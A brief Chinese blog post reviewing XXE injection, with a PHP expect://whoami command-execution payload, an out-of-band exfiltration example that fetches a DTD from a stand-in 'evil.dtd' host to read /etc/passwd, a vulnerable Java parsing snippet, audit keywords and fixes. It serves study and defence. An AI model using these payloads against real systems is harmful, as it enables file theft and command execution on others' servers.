今天看了两个小时的代码,就发现一点xxe注入的痕迹(还没有验证),然后顺带复习一下。
我以为的xxe这个漏洞本身能命令执行。结果并不是0-0
漏洞原理
XXE在允许引入外部实体并且对外部实体解析成功的情况下,可以用于进行多种攻击,包括:
-
DoS攻击:通过外部实体导致服务拒绝。
-
内网探测:探索内部网络结构。
-
文件读取:获取服务器文件系统上的敏感文件。
对于命令执行,需要特定环境的配合。例如,在PHP环境下,需要开启expect扩展:
<!-- 需要 PHP 开启 expect 扩展 -->
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "expect://whoami">
]>
<creds>&goodies;</creds>
攻击结果
攻击结果可以分为有回显和无回显两种。
-
有回显:代码从解析后的XML文档中读取数据(可能包含外部实体的内容)并将其输出。例如:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
// 解析XML数据
Document document = builder.parse(new InputSource(new StringReader(xmlData)));
// 获取根元素
String name = document.getDocumentElement().getTextContent();
// 输出根元素内容(预期包含/etc/passwd文件的内容)
System.out.println("根元素内容: " + name); -
无回显:读取解析后的元素并进行进一步处理,但不在页面上显示。
无回显的解决办法:利用数据外带
带外数据通道的建立使用嵌套实体声明,通过外部实体的URL发出访问,从而与攻击者的服务器建立联系。实体声明通常放在攻击者的服务器上:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY %b SYSTEM "http://evil.dtd">
]>
<a>%b;</a>
evil.dtd内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
漏洞关键词
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
修复方式
禁止外部实体:如setExpandEntityReferences(false) ;很多解析xml库都有类似参数可以设置
过滤用户提交的XML数据:关键词:<!DOCTYPE 和 <!ENTITY 或者 SYSTEM和PUBLIC……
溜^0 又水一篇
原文始发于微信公众号(天才少女Alpha):基础漏洞之xxe漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论